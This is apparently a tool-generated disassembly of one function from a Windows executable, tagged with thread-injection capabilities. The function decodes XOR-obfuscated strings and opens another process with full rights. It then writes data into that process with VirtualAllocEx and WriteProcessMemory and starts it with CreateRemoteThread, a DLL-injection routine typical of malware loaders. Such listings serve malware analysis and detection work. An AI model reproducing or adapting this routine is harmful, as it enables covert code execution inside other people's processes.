Function at 0x140004dd0
Capabilities:
Create thread
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140044040]
xor rax, rsp
mov qword [rbp + 0xd0], rax
xor r12d, r12d
mov dword [rbp + 0x20], r12d
call fcn.1400047c0
test al, al
je 0x140005b49
mov qword [rbp - 0x40], 0x54
mov qword [rbp - 0x38], 0xd0006
mov dword [rbp - 0x30], 0x258
movabs rax, 0xa47c16a5ea43de94
mov qword [rbp - 0x70], rax
movabs rax, 0x26b8edce10aaeba9
mov qword [rbp - 0x68], rax
movabs rax, 0xb1021f47da0123a1
mov qword [rbp - 0x60], rax
movabs rax, 0xa6eb1cb22a08a385
mov qword [rbp - 0x58], rax
movabs rax, 0x240faad0d2f7cf36
mov qword [rbp - 0x50], rax
movabs rax, 0x7abe89537d8a4e40
mov qword [rbp - 0x48], rax
movabs r13, 0xa41f16d6ea22ded7
mov qword [rbp + 0x30], r13
movabs rbx, 0x26d9eda710ceebc8
mov qword [rbp + 0x38], rbx
movabs rsi, 0xb16c1f28da4c2381
mov qword [rbp + 0x40], rsi
movabs rdi, 0xa68e1ce12a28a3ea
mov qword [rbp + 0x48], rdi
movabs rax, 0x2460aa92d29ecf5b
mov qword [rbp + 0x50], rax
movabs rax, 0x7abe89537dee4e2c
mov qword [rbp + 0x58], rax
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x50], xmm0
mov ecx, r12d
nop dword [rax + rax]
movzx eax, word [rbp + rcx - 0x70]
mov word [rbp + rcx - 0x2c], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140004f10
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea r8, [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
movabs rax, 0x8a6d73a28b46aea2
mov qword [rbp + 0x20], rax
movabs rax, 0x26d9eda710ab93ad
mov qword [rbp + 0x28], rax
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], rbx
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call fcn.140016740
lea rcx, [rbp - 0x70]
call fcn.140003940
nop
movabs rax, 0xc17b78b39a47ba8b
mov qword [rbp + 0x70], rax
movabs rax, 0x53bbb1d475a788a6
mov qword [rbp + 0x78], rax
movabs rax, 0xb100734cf4284fe8
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rdi
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x80], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea rax, [rbp + 0x70]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140005014
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call fcn.1400020f0
nop
lea r14, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r14, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x60]
call fcn.14000bcec
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x14003d5e0]
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
mov dword [rbp + 0x20], 8
test rdi, rdi
je 0x1400050e3
cmp rdi, 0x7fffffff
ja 0x140005b8f
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8d, edi
mov rdx, r14
mov ecx, eax
call fcn.14000bd5c
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140005b95
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rsp + 0x48]
call fcn.1400085a0
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, r14
mov ecx, r15d
call fcn.14000bd5c
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140005ba1
lea r9, [rbp + 0xb0]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.14000a2e0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140005137
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005132
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bab
call fcn.14000d29c
movdqa xmm0, xmmword [0x14003d5e0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14000518b
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005186
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bb1
call fcn.14000d29c
mov rdi, qword [rsp + 0x78]
lea rbx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rbx, qword [rsp + 0x68]
call fcn.14000bcec
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rdi
lea r8, [rbp + 0xb0]
mov edx, eax
lea rcx, [rbp + 0x30]
call fcn.140002f60
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rcx, qword [rbp + 0x30]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x70]
call fcn.14000bf88
mov r8d, eax
test eax, eax
jne 0x14000523e
mov edx, dword [rbp + 0x80]
test dl, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rbp + 0x24], ecx
bt edx, 0xa
jae 0x140005230
mov eax, dword [rbp + 0x84]
cmp eax, 0xa000000c
jne 0x140005222
lea eax, [r8 + 4]
jmp 0x140005261
cmp eax, 0xa0000003
jne 0x140005230
mov eax, 0xa
jmp 0x140005261
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x140005261
mov dword [rbp + 0x24], 0xffff
sub eax, 2
je 0x14000525c
sub eax, 1
je 0x14000525c
sub eax, 0x32
je 0x14000525c
cmp eax, 0x46
mov eax, r12d
jne 0x140005261
mov eax, 1
mov dword [rbp + 0xb0], r8d
lea rcx, [0x140044c80]
mov qword [rbp + 0xb8], rcx
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x70], xmm0
test eax, eax
je 0x140005362
cmp eax, 1
setne bl
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x1400052d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bb7
call fcn.14000d29c
test bl, bl
je 0x1400058d8
movabs rax, 0xca707fa48f52a7bf
mov qword [rbp + 0x20], rax
movabs rax, 0x26bc81d274a186e8
mov qword [rbp + 0x28], rax
mov qword [rbp + 0xb0], r13
movabs rdi, 0x26d9eda710ceebc8
mov qword [rbp + 0xb8], rdi
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x30]
call fcn.140003dc0
mov rcx, rax
lea rdx, [rbp + 0x20]
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140005335
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000534c
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140005372
lea rdx, [rbp + 0x20]
call fcn.14002fdb0
test eax, eax
jne 0x140005372
mov bl, 1
jmp 0x140005374
xor bl, bl
test r8d, r8d
jne 0x140005b81
jmp 0x140005290
xor bl, bl
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400053af
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bbd
call fcn.14000d29c
test bl, bl
je 0x1400057c8
movabs rax, 0xc84f6eb98640b185
mov qword [rbp + 0x70], rax
movabs rax, 0x47ad88e562ab92a9
mov qword [rbp + 0x78], rax
movabs r15, 0xb16c1f28bf3446af
mov qword [rbp + 0x80], r15
movabs r14, 0xa68e1ce12a28a3ea
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
movabs rax, 0xb16c1f28da4c2381
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x80], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea rax, [rbp + 0x70]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005450
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call fcn.1400020f0
nop
lea rcx, [rbp + 0xb0]
call fcn.140004ae0
mov rbx, rax
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400054bb
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bc3
call fcn.14000d29c
test rbx, rbx
je 0x140005abf
movabs rax, 0xc8737fbd8151bfa3
mov qword [rbp + 0x70], rax
movabs rax, 0x6b4848830a8c4e8
mov qword [rbp + 0x78], rax
movabs rax, 0xe20b7478aa214cc2
mov qword [rbp + 0x80], rax
movabs rax, 0xa68e79994f06d598
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
movabs rbx, 0xb16c1f28da4c2381
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x70]
call fcn.140016740
movabs rax, 0xcb5c36a29843aaa4
mov qword [rbp + 0x70], rax
movabs rax, 0x50abbec07b9e9ba5
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x70]
call fcn.140016740
movabs rax, 0xf7787d869a4fb194
mov qword [rbp + 0x20], rax
movabs rax, 0x26d988df75e09dba
mov qword [rbp + 0x28], rax
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], rdi
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005600
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x30]
call fcn.1400020f0
nop
lea rcx, [rbp + 0x30]
call fcn.140004ae0
mov r8, rax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000566f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000566a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bc9
call fcn.14000d29c
movdqa xmm0, xmmword [0x14003d5e0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
test rbx, rbx
je 0x140005abf
movabs rax, 0xd67d7f9a8e43b19b
mov qword [rbp + 0xb0], rax
movabs rax, 0x26d9eda751b799a9
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], rdi
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0xb0], xmm0
movabs rax, 0x962c7ab38450bbbc
mov qword [rbp + 0x20], rax
movabs rax, 0x26d9eda77ca28fe6
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], rdi
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x140005730
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x68]
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
cmova rcx, rax
nop dword [rax]
inc rsi
cmp byte [rcx + rsi], 0
jne 0x140005770
lea r8, [rsp + 0x68]
cmp rdx, 0xf
cmova r8, rax
mov qword [rsp + 0x20], r12
mov r9, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rdi
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005abf
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0xd03f72b3864bbfb1
mov qword [rbp + 0x30], rax
movabs rax, 0x5fbf84d575b8cba7
mov qword [rbp + 0x38], rax
movabs rax, 0xc34c334db62545a1
mov qword [rbp + 0x40], rax
movabs rax, 0xcefa3c8f5f5a8e8f
mov qword [rbp + 0x48], rax
movabs rax, 0x4114cbf6a2ebef3e
mov qword [rbp + 0x50], rax
movabs rax, 0x7abe89537dee605e
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], rdi
movabs rbx, 0xb16c1f28da4c2381
mov qword [rbp + 0x80], rbx
movabs r14, 0xa68e1ce12a28a3ea
mov qword [rbp + 0x88], r14
movabs rax, 0x2460aa92d29ecf5b
mov qword [rbp + 0x90], rax
movabs rax, 0x7abe89537dee4e2c
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [0x140045470]
call fcn.140001e40
mov rcx, rax
lea rdx, [0x14003d458]
call fcn.140001e40
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rbx
jmp 0x140005a3c
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0xca767ea28f4fb1a4
mov qword [rbp + 0x30], rax
movabs rax, 0x49ab9a8763a7cbaf
mov qword [rbp + 0x38], rax
movabs rax, 0x91046b41ad6c44ef
mov qword [rbp + 0x40], rax
movabs rax, 0xc8eb788f4f58c68e
mov qword [rbp + 0x48], rax
movabs rax, 0x41128abea1fba638
mov qword [rbp + 0x50], rax
movabs rax, 0x1fd6fd73139b3c01
mov qword [rbp + 0x58], rax
movabs rax, 0x741fd2856c7dc2e5
mov qword [rbp + 0x60], rax
movabs rax, 0xec7c9ead17a8a170
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], r13
movabs rbx, 0x26d9eda710ceebc8
mov qword [rbp + 0x78], rbx
movabs rdi, 0xb16c1f28da4c2381
mov qword [rbp + 0x80], rdi
movabs r14, 0xa68e1ce12a28a3ea
mov qword [rbp + 0x88], r14
movabs rax, 0x2460aa92d29ecf5b
mov qword [rbp + 0x90], rax
movabs rax, 0x7abe89537dee4e2c
mov qword [rbp + 0x98], rax
movabs rax, 0x67aa6e4080db7c5
mov qword [rbp + 0xa0], rax
movabs rax, 0xec7c9ead17a8a15e
mov qword [rbp + 0xa8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x30]
lea rcx, [0x140045470]
call fcn.140001e40
mov rcx, rax
lea rdx, [0x14003d458]
call fcn.140001e40
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rdi
movabs rax, 0xca7a36a59947aca7
mov qword [rbp + 0x70], rax
movabs rax, 0x45f982d330bc8ebc
mov qword [rbp + 0x78], rax
movabs rax, 0xb16c1f06bf3f4ced
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x30], r13
movdqa xmm0, xmmword [rbp + 0x70]
mov qword [rbp + 0x48], r14
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmmword [rbp + 0x80], xmm1
lea rdx, [rbp + 0x70]
lea rcx, [0x140045470]
call fcn.140001e40
lea rdx, [0x14003d458]
mov rcx, rax
call fcn.140001e40
call fcn.140005be0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140005afb
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005af6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bcf
call fcn.14000d29c
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140005b49
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005b7b
call fcn.14000d29c
xor eax, eax
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.14000d240
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140013f3c
nop
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x70]
call fcn.1400038e0
nop
call fcn.140002820
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140002a10
int3
shr rcx, 0x20
call fcn.140002a10
nop
call fcn.140013f3c
nop
call fcn.140013f3c
int3
call fcn.140013f3c
int3
call fcn.140013f3c
int3
call fcn.140013f3c
int3
call fcn.140013f3c
nop
call fcn.140013f3c
int3